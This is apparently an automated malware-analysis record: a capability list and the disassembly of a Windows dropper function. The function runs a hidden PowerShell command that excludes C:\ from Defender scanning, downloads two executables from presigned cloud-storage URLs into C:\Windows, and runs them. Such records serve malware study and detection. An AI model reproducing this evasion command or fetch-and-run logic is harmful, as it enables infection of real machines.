Function at 0x140011424
Capabilities:
Check if file exists
Create process on windows
Delete file
Execute command
Get file attributes

Disassembly:
jmp 0x1400152c0
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x14002a106]
call fcn.1400115f0
nop
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x14001530e
call fcn.14001110e
nop
lea rcx, str.powershell__w_hidden__c_Add_MpPreference__ExclusionPath__C:_
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.https:__upnow_prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com_9je1JjQYiFYZSEUD5JQXU1DNG9g2_7c1220b3_6e26_4844_ab24_6502d79d12b1_X_Amz_AlgorithmAWS4_HMAC_SHA256X_Amz_Credentialcdd12e35bbd220303957dc5603a4cc8e_2F20241212_2Fauto_2Fs3_2Faws4_requestX_Amz_Date20241212T161331ZX_Amz_Expires43200X_Amz_Signature9b3fa82fa157491685907ea5cf2af5ee6e07d5716ca7a2f676b98a4e71a032cbX_Amz_SignedHeadershostresponse_content_dispositionattachment_3B_20filename_3D_22nioxxy.exe_22
lea rcx, [rbp + 8]
call fcn.1400111fe
nop
lea rdx, str.C:Windows_nioxxy.exe
lea rcx, [rbp + 0x48]
call fcn.1400111fe
nop
lea rdx, str.https:__upnow_prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com_9je1JjQYiFYZSEUD5JQXU1DNG9g2_aac68c68_edad_419a_affa_e6cc01302480_X_Amz_AlgorithmAWS4_HMAC_SHA256X_Amz_Credentialcdd12e35bbd220303957dc5603a4cc8e_2F20241212_2Fauto_2Fs3_2Faws4_requestX_Amz_Date20241212T161217ZX_Amz_Expires43200X_Amz_Signaturef9f521539586e965b527a4fce409f1d4d258c949c1b4c183c9ceaf37abb29c2aX_Amz_SignedHeadershostresponse_content_dispositionattachment_3B_20filename_3D_22nioxx.exe_22
lea rcx, [rbp + 0x88]
call fcn.1400111fe
nop
lea rdx, str.C:Windows_nioxx.exe
lea rcx, [rbp + 0xc8]
call fcn.1400111fe
nop
lea rcx, [rbp + 0x48]
call fcn.140011208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140015390
lea rcx, [rbp + 0x48]
call fcn.140011208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp + 0xc8]
call fcn.140011208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400153c0
lea rcx, [rbp + 0xc8]
call fcn.140011208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.14001132f
nop
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x88]
call fcn.14001132f
nop
lea rcx, [rbp + 0x48]
call fcn.140011208
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0xc8]
call fcn.140011208
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [rbp + 0x1c4], 0
lea rcx, [rbp + 0xc8]
call fcn.14001155f
nop
lea rcx, [rbp + 0x88]
call fcn.14001155f
nop
lea rcx, [rbp + 0x48]
call fcn.14001155f
nop
lea rcx, [rbp + 8]
call fcn.14001155f
mov eax, dword [rbp + 0x1c4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f060]
call fcn.14001151e
mov eax, edi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.1400112ee
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret